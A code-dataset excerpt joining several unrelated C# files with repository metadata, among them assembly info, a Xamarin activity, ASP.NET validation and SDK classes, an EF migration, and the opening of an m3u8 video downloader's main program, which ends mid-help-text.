[assembly: AssemblyVersion("3.3")]
[assembly: AssemblyFileVersion("3.5.1.11")]
[assembly: System.CLSCompliant(true)]
#if BCL
[assembly: System.Security.AllowPartiallyTrustedCallers]
#endif
| 57.037736 | 288 | 0.781674 |
[
"Apache-2.0"
] |
Singh400/aws-sdk-net
|
sdk/src/Services/ConfigService/Properties/AssemblyInfo.cs
| 3,023 |
C#
|
using System;
using Android.App;
using Android.Content.PM;
using Android.Runtime;
using Android.Views;
using Android.Widget;
using Android.OS;
namespace App5.Droid
{
[Activity(Label = "App5", Icon = "@drawable/icon", Theme = "@style/MainTheme", MainLauncher = true, ConfigurationChanges = ConfigChanges.ScreenSize | ConfigChanges.Orientation)]
public class MainActivity : global::Xamarin.Forms.Platform.Android.FormsAppCompatActivity
{
protected override void OnCreate(Bundle bundle)
{
TabLayoutResource = Resource.Layout.Tabbar;
ToolbarResource = Resource.Layout.Toolbar;
base.OnCreate(bundle);
global::Xamarin.Forms.Forms.Init(this, bundle);
LoadApplication(new App());
}
}
}
| 28 | 181 | 0.683673 |
[
"MIT"
] |
kluy19/App5
|
App5/App5.Android/MainActivity.cs
| 786 |
C#
|
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
namespace Microsoft.AspNetCore.Mvc.ModelBinding.Validation;
/// <summary>
/// Used to associate validators with <see cref="ValidatorMetadata"/> instances
/// as part of <see cref="ModelValidatorProviderContext"/>. An <see cref="IModelValidator"/> should
/// inspect <see cref="ModelValidatorProviderContext.Results"/> and set <see cref="Validator"/> and
/// <see cref="IsReusable"/> as appropriate.
/// </summary>
public class ValidatorItem
{
/// <summary>
/// Creates a new <see cref="ValidatorItem"/>.
/// </summary>
public ValidatorItem()
{
}
/// <summary>
/// Creates a new <see cref="ValidatorItem"/>.
/// </summary>
/// <param name="validatorMetadata">The <see cref="ValidatorMetadata"/>.</param>
public ValidatorItem(object validatorMetadata)
{
ValidatorMetadata = validatorMetadata;
}
/// <summary>
/// Gets the metadata associated with the <see cref="Validator"/>.
/// </summary>
public object ValidatorMetadata { get; } = default!;
/// <summary>
/// Gets or sets the <see cref="IModelValidator"/>.
/// </summary>
public IModelValidator? Validator { get; set; }
/// <summary>
/// Gets or sets a value indicating whether or not <see cref="Validator"/> can be reused across requests.
/// </summary>
public bool IsReusable { get; set; }
}
| 33.244444 | 109 | 0.658422 |
[
"MIT"
] |
3ejki/aspnetcore
|
src/Mvc/Mvc.Abstractions/src/ModelBinding/Validation/ValidatorItem.cs
| 1,496 |
C#
|
using System;
using System.Collections.Generic;
using YAXLib;
namespace YAXLibTests.SampleClasses
{
[ShowInDemoApplication]
[YAXComment(@"This example shows a multi-level class, which helps to test
the null references identity problem.
Thanks go to Anton Levshunov for proposing this example,
and a disussion on this matter.")]
public class MultilevelClass
{
public List<FirstLevelClass> items { get; set; }
public override string ToString()
{
return GeneralToStringProvider.GeneralToString(this);
}
public static MultilevelClass GetSampleInstance()
{
MultilevelClass obj = new MultilevelClass();
obj.items = new List<FirstLevelClass>();
obj.items.Add(new FirstLevelClass());
obj.items.Add(new FirstLevelClass());
obj.items[0].Second = new SecondLevelClass();
obj.items[0].ID = "1";
obj.items[0].Second.SecondID = "1-2";
obj.items[1].ID = "2";
obj.items[1].Second = null;
return obj;
}
}
public class FirstLevelClass
{
public string ID { get; set; }
public SecondLevelClass Second { get; set; }
}
public class SecondLevelClass
{
public string SecondID { get; set; }
}
}
| 26.588235 | 78 | 0.602507 |
[
"MIT"
] |
MhpSoftware/YAXLib.Redux
|
YAXLibTests/SampleClasses/MultilevelClass.cs
| 1,358 |
C#
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace sample_cdn_api.Models
{
public class ValueModel
{
public ValueModel()
{
Time = DateTime.Now;
}
public DateTime Time { get; set; }
public bool Cached { get; set; }
}
}
| 18.222222 | 42 | 0.597561 |
[
"MIT"
] |
andywahr/sample-cdn-api
|
Models/ValueModel.cs
| 330 |
C#
|
using Newtonsoft.Json;
using PAYNLSDK.Converters;
using PAYNLSDK.Exceptions;
using PAYNLSDK.Utilities;
using System;
using System.Collections.Specialized;
namespace PAYNLSDK.API.Validate.SOFI
{
public class Request : RequestBase
{
[JsonProperty("sofi")]
public string SOFI { get; set; }
public override bool RequiresApiToken
{
get
{
return false;// base.RequiresApiToken;
}
}
public override int Version
{
get { return 1; }
}
public override string Controller
{
get { return "Validate"; }
}
public override string Method
{
get { return "SOFI"; }
}
public override string Querystring
{
get { return ""; }
}
private string apiToken;
private string serviceId;
public string GetApiToken()
{
return apiToken;
}
public void SetApiToken(string value)
{
apiToken = value;
}
public string GetServiceId()
{
return serviceId;
}
public void SetServiceId(string value)
{
serviceId = value;
}
public override System.Collections.Specialized.NameValueCollection GetParameters()
{
NameValueCollection nvc = base.GetParameters();
if (RequiresApiToken)
{
if (!String.IsNullOrEmpty(GetApiToken()))
{
nvc.Add("token", GetApiToken());
}
}
if (RequiresServiceId)
{
if (!String.IsNullOrEmpty(GetServiceId()))
{
nvc.Add("serviceId", GetServiceId());
}
}
ParameterValidator.IsNotEmpty(SOFI, "sofi");
nvc.Add("sofi", SOFI);
return nvc;
}
public Response Response { get { return (Response)response; } }
public override void SetResponse()
{
if (ParameterValidator.IsEmpty(rawResponse))
{
throw new ErrorException("rawResponse is empty!");
}
response = JsonConvert.DeserializeObject<Response>(RawResponse);
}
}
}
| 22.733333 | 90 | 0.503142 |
[
"MIT"
] |
jeremyvanlier/csharp-sdk
|
PAYNLSDK/API/Validate/SOFI/Request.cs
| 2,389 |
C#
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Linq;
using System.Web;
namespace PostSharp_Conveyor_Example_Timesheet.Models
{
public class ClockInModel
{
[DisplayName("Employee Name")]
public string EmployeeName { get; set; }
public string Location { get; set; }
[DisplayName("In Time")]
public DateTime InTime { get; set; }
[DisplayName("Out Time")]
public DateTime OutTime { get; set; }
}
}
| 24.090909 | 54 | 0.632075 |
[
"MIT"
] |
keyoti/Conveyor-Examples
|
PostSharp-Conveyor-Example-Timesheet/Models/ClockInModel.cs
| 532 |
C#
|
// ***********************************************************************
// Assembly : TSharp.Core
// Author : tangjingbo
// Created : 10-10-2013
//
// Last Modified By : tangjingbo
// Last Modified On : 10-10-2013
// ***********************************************************************
// <copyright file="MultiCoreException.cs" company="">
// Copyright (c) . All rights reserved.
// </copyright>
// <summary></summary>
// ***********************************************************************
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace TSharp.Core.Exceptions
{
/// <summary>
/// Class MultiCoreException
/// </summary>
public class MultiCoreException : CoreException
{
/// <summary>
/// Initializes a new instance of the <see cref="MultiCoreException"/> class.
/// </summary>
/// <param name="message">The message.</param>
/// <param name="exs">The exs.</param>
public MultiCoreException(string message, Exception[] exs)
: base(message)
{
Errors = exs;
}
/// <summary>
/// Gets the errors.
/// </summary>
/// <value>The errors.</value>
public Exception[] Errors
{
get;
private set;
}
/// <summary>
/// Returns a <see cref="System.String" /> that represents this instance.
/// </summary>
/// <returns>A <see cref="System.String" /> that represents this instance.</returns>
/// <PermissionSet>
/// <IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" PathDiscovery="*AllFiles*" />
/// </PermissionSet>
public override string ToString()
{
var sb = new StringBuilder();
for (int index = 0, n = Errors.Length; index < n; index++)
{
var exception = Errors[index];
sb.AppendFormat("第个{0}异常:", index);
sb.AppendLine();
sb.Append(exception);
sb.AppendLine();
}
return sb.ToString();
}
}
}
| 34.772727 | 201 | 0.493246 |
[
"MIT"
] |
niubilityappbox/TSharp
|
src/TSharp/Exceptions/MultiCoreException.cs
| 2,307 |
C#
|
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("01.NumbersFrom1ToN")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("01.NumbersFrom1ToN")]
[assembly: AssemblyCopyright("Copyright © 2015")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("d8fc8a62-3338-40d6-a482-4b96fcd2200f")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| 38.081081 | 84 | 0.745919 |
[
"MIT"
] |
PAFICH/cSHARP
|
06.Loops/01.NumbersFrom1ToN/Properties/AssemblyInfo.cs
| 1,412 |
C#
|
using System;
using System.Collections.Generic;
using JsonApiDotNetCore.Models;
using JsonApiDotNetCore.Models.Annotation;
namespace JsonApiDotNetCore.Serialization.Server
{
/// <summary>
/// Responsible for getting the set of fields that are to be included for a
/// given type in the serialization result. Typically combines various sources
/// of information, like application-wide hidden fields as set in
/// <see cref="ResourceDefinition{TResource}"/>, or request-wide hidden fields
/// through sparse field selection.
/// </summary>
public interface IFieldsToSerialize
{
/// <summary>
/// Gets the list of attributes that are to be serialized for resource of type <paramref name="resourceType"/>.
/// If <paramref name="relationship"/> is non-null, it will consider the allowed list of attributes
/// as an included relationship.
/// </summary>
IReadOnlyCollection<AttrAttribute> GetAttributes(Type resourceType, RelationshipAttribute relationship = null);
/// <summary>
/// Gets the list of relationships that are to be serialized for resource of type <paramref name="type"/>.
/// </summary>
IReadOnlyCollection<RelationshipAttribute> GetRelationships(Type type);
}
}
| 43.233333 | 119 | 0.70239 |
[
"MIT"
] |
bjornharrtell/JsonApiDotNetCore
|
src/JsonApiDotNetCore/Serialization/Server/Contracts/IFieldsToSerialize.cs
| 1,297 |
C#
|
namespace ClickView.Extensions.HealthCheck
{
using System;
using System.Diagnostics;
public class CheckTimer
{
private readonly Stopwatch _stopwatch;
private CheckTimer()
{
_stopwatch = Stopwatch.StartNew();
}
public static CheckTimer Start()
{
return new CheckTimer();
}
public TimeSpan Stop()
{
_stopwatch.Stop();
return _stopwatch.Elapsed;
}
}
}
| 18.592593 | 46 | 0.541833 |
[
"MIT"
] |
Shalelol/Extensions
|
src/HealthCheck/HealthCheck/src/CheckTimer.cs
| 504 |
C#
|
using System.Linq;
namespace Microsoft.Maui.Graphics.Controls
{
public class CheckBoxHandler : GraphicsControlHandler<ICheckBoxDrawable, ICheckBox>
{
public static PropertyMapper<ICheckBox> PropertyMapper = new PropertyMapper<ICheckBox>(ViewHandler.Mapper)
{
Actions =
{
[nameof(ICheckBox.IsChecked)] = ViewHandler.MapInvalidate
}
};
public static DrawMapper<ICheckBoxDrawable, ICheckBox> DrawMapper = new DrawMapper<ICheckBoxDrawable, ICheckBox>(ViewHandler.DrawMapper)
{
["Background"] = MapDrawBackground,
["Mark"] = MapDrawMark,
["Text"] = MapDrawText
};
public CheckBoxHandler() : base(DrawMapper, PropertyMapper)
{
}
public static string[] DefaultCheckBoxLayerDrawingOrder =
ViewHandler.DefaultLayerDrawingOrder.ToList().InsertAfter(new string[]
{
"Background",
"Mark",
}, "Text").ToArray();
public override string[] LayerDrawingOrder() =>
DefaultCheckBoxLayerDrawingOrder;
protected override ICheckBoxDrawable CreateDrawable() =>
new MaterialCheckBoxDrawable();
public static void MapDrawBackground(ICanvas canvas, RectangleF dirtyRect, ICheckBoxDrawable drawable, ICheckBox view)
=> drawable.DrawBackground(canvas, dirtyRect, view);
public static void MapDrawMark(ICanvas canvas, RectangleF dirtyRect, ICheckBoxDrawable drawable, ICheckBox view)
=> drawable.DrawMark(canvas, dirtyRect, view);
public static void MapDrawText(ICanvas canvas, RectangleF dirtyRect, ICheckBoxDrawable drawable, ICheckBox view)
=> drawable.DrawText(canvas, dirtyRect, view);
public override bool StartInteraction(PointF[] points)
{
if (VirtualView != null)
VirtualView.IsChecked = !VirtualView.IsChecked;
return base.StartInteraction(points);
}
}
}
| 30.701754 | 138 | 0.754857 |
[
"MIT"
] |
jsuarezruiz/Microsoft.Maui.Graphics.Controls
|
src/GraphicsControls/Handlers/CheckBox/CheckBoxHandler.cs
| 1,752 |
C#
|
#region License
// Copyright (c) 2009, ClearCanvas Inc.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
// * Neither the name of ClearCanvas Inc. nor the names of its contributors
// may be used to endorse or promote products derived from this software without
// specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
// THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
// OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
// GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
// ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
// OF SUCH DAMAGE.
#endregion
using System.Collections.Generic;
using System.Runtime.Serialization;
using ClearCanvas.Enterprise.Common;
namespace ClearCanvas.Ris.Application.Common.ProtocollingWorkflow
{
[DataContract]
public class GetSuspendRejectReasonChoicesResponse : DataContractBase
{
public GetSuspendRejectReasonChoicesResponse(List<EnumValueInfo> suspendRejectReasonChoices)
{
SuspendRejectReasonChoices = suspendRejectReasonChoices;
}
[DataMember]
public List<EnumValueInfo> SuspendRejectReasonChoices;
}
}
| 45.673469 | 101 | 0.739053 |
[
"Apache-2.0"
] |
econmed/ImageServer20
|
Ris/Application/Common/ProtocollingWorkflow/GetSuspendRejectReasonChoicesResponse.cs
| 2,240 |
C#
|
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
namespace Microsoft.Recognizers.Text
{
internal class ModelFactory<TModelOptions> : Dictionary<(string culture, Type modelType), Func<TModelOptions, IModel>>
{
private const string FallbackCulture = Culture.English;
private static ConcurrentDictionary<(string culture, Type modelType, string modelOptions), IModel> cache =
new ConcurrentDictionary<(string culture, Type modelType, string modelOptions), IModel>();
public T GetModel<T>(string culture, bool fallbackToDefaultCulture, TModelOptions options)
where T : IModel
{
if (TryGetModel(culture, options, out T model))
{
return model;
}
else if (fallbackToDefaultCulture && TryGetModel(FallbackCulture, options, out model))
{
return model;
}
throw new ArgumentException($"Could not find Model with the specified configuration: {culture}, {typeof(T).ToString()}");
}
public new void Add((string culture, Type modelType) config, Func<TModelOptions, IModel> modelCreator)
{
base.Add(GenerateKey(config.culture, config.modelType), modelCreator);
}
public void InitializeModels(string targetCulture, TModelOptions options)
{
this.Keys
.Where(key => string.IsNullOrEmpty(targetCulture) || key.culture.Equals(targetCulture))
.ToList()
.ForEach(key => this.InitializeModel(key.modelType, key.culture, options));
}
private static (string culture, Type modelType) GenerateKey(string culture, Type modelType)
{
return (culture.ToLowerInvariant(), modelType);
}
private void InitializeModel(Type modelType, string culture, TModelOptions options)
{
this.TryGetModel(modelType, culture, options, out IModel model);
}
private bool TryGetModel<T>(string culture, TModelOptions options, out T model)
where T : IModel
{
var result = this.TryGetModel(typeof(T), culture, options, out IModel outModel);
model = (T)outModel;
return result;
}
private bool TryGetModel(Type modelType, string culture, TModelOptions options, out IModel model)
{
model = default(IModel);
if (string.IsNullOrEmpty(culture))
{
return false;
}
culture = Culture.MapToNearestLanguage(culture);
// Look in cache
var cacheKey = (culture, modelType, options.ToString());
if (cache.ContainsKey(cacheKey))
{
model = cache[cacheKey];
return true;
}
// Use Factory to create instance
var key = GenerateKey(culture, modelType);
if (this.ContainsKey(key))
{
var factoryMethod = this[key];
model = factoryMethod(options);
// Store in cache
cache[cacheKey] = model;
return true;
}
return false;
}
}
}
| 35.978947 | 134 | 0.570802 |
[
"MIT"
] |
7i77an/Recognizers-Text
|
.NET/Microsoft.Recognizers.Text/ModelFactory.cs
| 3,420 |
C#
|
// <auto-generated />
using EmployeeManagement.Models;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Infrastructure;
using Microsoft.EntityFrameworkCore.Metadata;
using Microsoft.EntityFrameworkCore.Migrations;
using Microsoft.EntityFrameworkCore.Storage.ValueConversion;
namespace EmployeeManagement.Migrations
{
[DbContext(typeof(AppDbContext))]
[Migration("20220206152123_newDataBase")]
partial class newDataBase
{
protected override void BuildTargetModel(ModelBuilder modelBuilder)
{
#pragma warning disable 612, 618
modelBuilder
.HasAnnotation("Relational:MaxIdentifierLength", 128)
.HasAnnotation("ProductVersion", "5.0.13")
.HasAnnotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn);
modelBuilder.Entity("EmployeeManagement.Models.Employee", b =>
{
b.Property<int>("Id")
.ValueGeneratedOnAdd()
.HasColumnType("int")
.HasAnnotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn);
b.Property<int>("Department")
.HasColumnType("int");
b.Property<string>("Email")
.IsRequired()
.HasColumnType("nvarchar(max)");
b.Property<string>("ImagePath")
.HasColumnType("nvarchar(max)");
b.Property<string>("Name")
.IsRequired()
.HasMaxLength(50)
.HasColumnType("nvarchar(50)");
b.HasKey("Id");
b.ToTable("Employees");
b.HasData(
new
{
Id = 1,
Department = 4,
Email = "[email protected]",
Name = "Sina Ataei"
},
new
{
Id = 2,
Department = 1,
Email = "[email protected]",
Name = "Arash Rastegar"
},
new
{
Id = 3,
Department = 3,
Email = "[email protected]",
Name = "Ali Rastegar"
});
});
#pragma warning restore 612, 618
}
}
}
| 35.986842 | 125 | 0.461426 |
[
"MIT"
] |
Silverbrain/EmployeeManagement
|
EmployeeManagement/Migrations/20220206152123_newDataBase.Designer.cs
| 2,737 |
C#
|
using Newtonsoft.Json.Linq;
using System;
using System.Collections;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
namespace N_m3u8DL_CLI.NetCore
{
/// <summary>
/// 2018年12月3日
/// - 通过监控文件夹的更改来营造下载进度
/// - 增加对EXT-X-DISCONTINUITY的处理(分部分处理,分别合并)
/// - 增加对腾讯视频HDR的支持(主要是EXT-X-MAP的处理)
/// - 增加对Master List的支持(默认最高画质)
/// - json文件UpdateTime属性值改为"o" 符合国际标准
/// - 按照EXT-X-DISCONTINUITY划分出的视频组采用COPY /B方式合并,最后用ffmpeg concat合并为单一文件
/// 2018年12月5日
/// - 转换为.Net Core项目(放弃)
/// 2018年12月10日
/// - 修改M3u8Do中的多线程下载,改为线程局部变量
/// 2018年12月11日
/// - 修复BUG,处理拼接相对路径中含有冒号的情况
/// 2018年12月13日
/// - 读写锁机制确保LOG正确写入
/// - 跳过优酷广告分片
/// 2018年12月14日
/// - 如果Parts不等于1,就强制转换到MPEGTS封装
/// - 如果Parts不等于1,启动新线程合并
/// - 优化点播直播的判断
/// - 修复获取属性的BUG(由','分割字符串,codecs里也有','造成)
/// - baseurl增加冒号的拼接逻辑
/// 2018年12月17日
/// - 支持本地m3u8+本地ts文件形式
/// 2018年12月19日
/// - 支持 EXT-X-BYTERANGE 标签(点播)
/// 2018年12月25日
/// - 修改判断直播与点播的逻辑
/// - 优酷 默认修改为 drm_type=3&drm_device=10
/// - HttpDownloadFileToBytes 支持解压Gzip压缩且不再依赖服务器返回的ContentLength(bug fixed)
/// - CombineURL 改用 Uri 类来拼接baseurl和url,普适性更强,无脑截取丢给它也可以拼接出正确的地址(bug fixed)
/// 2018年12月26日
/// - 修复Bug,增加变量startIndex,使用 segIndex-startIndex 计算分段总数
/// 2019年1月23日
/// - parser规范化,使用Jobject构造Json文件(切记:使用 new 来清空对象,不要用Clear,否则会导致之前加入的对象被同时清空)
/// - 使用WebClient下载,并优化m3u8的Range处理
/// 2019年1月24日
/// - 修复:在master列表检测时需重置Baseurl
/// 2019年2月23日
/// - 优化下载
/// - 重试次数增加到5
/// - 完成后不显示进度
/// - 命令行支持自定义MuxFastStart
/// 2019年3月8日
/// - 重写对linetv的key分析,比对重复
/// 2019年3月11日
/// - 自动判断音轨决定是否加入-bsf:a aac_adtstoasc参数
/// 2019年3月18日
/// - 固定几行UI,可显示下载速度以及进度(计算文件夹大小实现)
/// - 混流时寻找ddpAudio.txt里的杜比音轨路径,封装杜比音轨
/// 2019年3月20日
/// - 通过Global.ShouldStop变量,完成了速度为零3次的自动杀进程功能(HTTP写入流也强行结束)
/// 2019年3月25日
/// - 优化下载函数
/// 2019年3月29日
/// - 0:a?
/// - 修复对#EXT-X-BYTERANGE的支持
/// 2019年3月30日
/// - 删除Remove()函数,改为在Global.HttpDownloadFile()执行该逻辑
/// 2019年3月31日
/// - Global.HttpDownloadFile()采用using包围
/// - 找不到ffmpeg报异常
/// - Log写入Command Line
/// 2019年4月11日
/// - 支持爱奇艺杜比视界,并判断如果是杜比视界则采用二进制合并
/// - 暂时去掉分段检测TS封装
/// 2019年4月12日
/// - 最低16线程 最高32
/// - 修复AAC滤镜识别
/// - 支持腾讯视频杜比视界
/// 2019年4月13日
/// - 增加downLen和totalLen对比是否下载完全
/// 2019年4月18日
/// - 命令行模式正式化,发布1.0版本
/// 2019年4月24日
/// - 增加enableBinaryMerge选项
/// - 修复Bug
/// 2019年4月30日
/// - 增加仅解析功能 --enableParseOnly
/// - 支持从已解析的meta.json文件中直接进行下载
/// 2019年5月3日
/// - 可下载纯音频m3u8
/// 2019年5月6日
/// - 修改速度计算方式(增加BYTE)
/// - 修复ContentLength引发的BUG
/// 2019年6月5日
/// - 外部ddp逻辑优化
/// - 跳过已存在文件时防止被速度监控程序杀死
/// - 增加过多分片(>1800)合并逻辑
/// 2019年6月6日
/// - 支持DMM视频网站m3u8下载
/// - 增加全局异常捕获
/// - ffmpeg合并时去掉-map 0:d,因为mp4容器不支持此类数据
/// 2019年6月7日
/// - 支持删除混流的日期参数
/// 2019年6月8日
/// - 通过request.ReadWriteTimeout解决不能及时重试的问题
/// - 下载失败后不会卡在按任意键继续
/// - 添加timeout参数
/// 2019年6月9日
/// - 过滤m3u8内容中的空白行
/// - 修复BUG(不该验证Status=200)
/// - 增加显示更多信息(百分比/已下载/估计大小/估计时长)
/// - 增加对优酷杜比视界的支持
/// - 优化判断杜比视界的逻辑
/// 2019年6月10日
/// - 获取文件时排序,防止在网络驱动器中的致命BUG
/// - AllowAutoRedirect = true 去掉Get302函数
/// - 解决XP系统低版本.net框架的一个URL拼接bug
/// - 为兼容XP系统 使用Environment.SetEnvironmentVariable替代了StartInfo.Environment
/// - 修复获取属性值的一个bug
/// 2019年6月12日
/// - 自动下载m3u8外挂音轨、字幕等
/// 2019年6月14日
/// - 自动处理芒果TV请求头
/// 2019年6月16日
/// - 为兼容XP做出调整(https安全协议 SecurityProtocol)
/// 2019年6月17日
/// - 修复同名覆盖的BUG
/// - LOG写入正确的工作目录
/// - 修复下载额外字幕、音频时未能继承ReqHeaders的问题
/// 2019年6月18日
/// - 添加图标
/// - 增加程序更新检测
/// 2019年6月19日
/// - 修复升级BUG
/// - 自动下载更新
/// 2019年6月23日
/// - LOG写入到程序EXE所在目录
/// - 环境变量检测BUG修复
/// 2019年7月7日
/// - 芒果自动加Cookie
/// - 支持分段形式伪m3u8的正确合并
/// 2019年7月8日
/// - 修改默认UA为 VLC/2.2.1 LibVLC/2.2.1
/// 2019年7月10日
/// - 支持气球云m3u8
/// 2019年7月10日
/// - 修复获取属性值的BUG
/// 2019年7月10日
/// - 支持阿里云大学m3u8
/// 2019年7月23日
/// - 在TS格式检测中放行杜比视界视频
/// - 自动去除优酷视频的广告(当指定downloadRange时不会启动)
/// - 支持手动指定想要下载的内容(downloadRange)
/// 2019年7月29日
/// - 自动修改为爱奇艺UA
/// 2019年8月21日
/// - 增加originalCount属性,修复选取时间段后可能导致的合并顺序错乱问题
/// - 增加noMerge命令行参数
/// - 增加noProxy命令行参数
/// 2019年8月22日
/// - 增加stopSpeed命令行参数
/// - Invalid Url至多提示20次
/// 2019年8月28日
/// - 优化腾讯杜比视界的识别
/// 2019年9月5日
/// - 更改输出信息,输出显示更多下载细节
/// - 可以识别单音轨,自动合并为指定格式
/// - 支持双击后输入命令
/// - 避免重试时再次检测视频
/// - 识别MPEG-TS封装时略过纯音频
/// - 会首先下载第一个分片用以读取信息
/// - 修复302状态码Baseurl错误的问题
/// - 修正流匹配的正则表达式
/// 2019年9月8日
/// - 修复视频被识别为音频的BUG
/// 2019年9月9日
/// - 如果Parts大于1,则强制进行MPEG-TS封装
/// - 修改Parts大于1时的下载逻辑,提升下载速度
/// 2019年9月10日
/// - 修改读取视频信息的逻辑
/// - 优化直播下载的信息输出
/// 2019年9月16日
/// - 修复下载外挂流时显示异常问题
/// 2019年9月18日
/// - 每秒计算一次速度
/// - 下载首分片将不触发停速重试
/// - 加入全局限速功能
/// 2019年9月27日
/// - 支持www.vlive.tv
/// 2019年10月5日
/// - N_m3u8DL-CLI.args.txt
/// - 细节优化
/// </summary>
///
class Program
{
public delegate bool ControlCtrlDelegate(int CtrlType);
[DllImport("kernel32.dll")]
private static extern bool SetConsoleCtrlHandler(ControlCtrlDelegate HandlerRoutine, bool Add);
private static ControlCtrlDelegate cancelHandler = new ControlCtrlDelegate(HandlerRoutine);
public static bool HandlerRoutine(int CtrlType)
{
switch (CtrlType)
{
case 0:
LOGGER.WriteLine("Exited: Ctrl + C"
+ "\r\n\r\nTask End: " + DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss")); //Ctrl+C关闭
Console.CursorVisible = true;
break;
case 2:
LOGGER.WriteLine("Exited: Force"
+ "\r\n\r\nTask End: " + DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss")); //按控制台关闭按钮关闭
Console.CursorVisible = true;
break;
}
return false;
}
static void Main(string[] args)
{
try
{
//goto httplitsen;
//当前程序路径(末尾有\)
string CURRENT_PATH = Directory.GetCurrentDirectory();
string fileName = "";
//寻找ffmpeg.exe
if (!File.Exists("ffmpeg.exe"))
{
try
{
string[] EnvironmentPath = Environment.GetEnvironmentVariable("Path").Split(';');
foreach (var de in EnvironmentPath)
{
if (File.Exists(Path.Combine(de.Trim('\"').Trim(), "ffmpeg.exe")))
goto HasFFmpeg;
}
}
catch (Exception)
{
;
}
Console.BackgroundColor = ConsoleColor.Red; //设置背景色
Console.ForegroundColor = ConsoleColor.White; //设置前景色,即字体颜色
Console.WriteLine("在PATH和程序路径下找不到 ffmpeg.exe");
Console.ResetColor(); //将控制台的前景色和背景色设为默认值
Console.WriteLine("请下载ffmpeg.exe并把他放到程序同目录.");
Console.WriteLine();
Console.WriteLine("x86 https://ffmpeg.zeranoe.com/builds/win32/static/");
Console.WriteLine("x64 https://ffmpeg.zeranoe.com/builds/win64/static/");
Console.WriteLine();
Console.WriteLine("按任意键退出.");
Console.ReadKey();
Environment.Exit(-1);
}
HasFFmpeg:
Global.WriteInit();
Thread checkUpdate = new Thread(() =>
{
Global.CheckUpdate();
});
checkUpdate.IsBackground = true;
checkUpdate.Start();
int maxThreads = Environment.ProcessorCount;
int minThreads = 16;
int retryCount = 15;
int timeOut = 10; //默认10秒
string baseUrl = "";
string reqHeaders = "";
string muxSetJson = "MUXSETS.json";
string workDir = CURRENT_PATH + "\\Downloads";
bool muxFastStart = false;
bool binaryMerge = false;
bool delAfterDone = false;
bool parseOnly = false;
bool noMerge = false;
/******************************************************/
ServicePointManager.DefaultConnectionLimit = 1024;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3
| SecurityProtocolType.Tls
| (SecurityProtocolType)0x300 //Tls11
| (SecurityProtocolType)0xC00; //Tls12
/******************************************************/
if (File.Exists(Path.Combine(Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName), "headers.txt")))
reqHeaders = File.ReadAllText(Path.Combine(Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName), "headers.txt"));
//分析命令行参数
parseArgs:
var arguments = CommandLineArgumentParser.Parse(args);
if (args.Length == 1 && args[0] == "--help")
{
Console.WriteLine(@"N_m3u8DL-CLI.exe <URL|File|JSON> [OPTIONS]
--workDir Directory 设定程序工作目录
--saveName Filename 设定存储文件名(不包括后缀)
--baseUrl BaseUrl 设定Baseurl
--headers headers 设定请求头,格式 key:value 使用|分割不同的key&value
--maxThreads Thread 设定程序的最大线程数(默认为32)
--minThreads Thread 设定程序的最小线程数(默认为16)
--retryCount Count 设定程序的重试次数(默认为15)
--timeOut Sec 设定程序网络请求的超时时间(单位为秒,默认为10秒)
--muxSetJson File 使用外部json文件定义混流选项
--downloadRange Range 仅下载视频的一部分分片或长度
--stopSpeed Number 当速度低于此值时,重试(单位为KB/s)
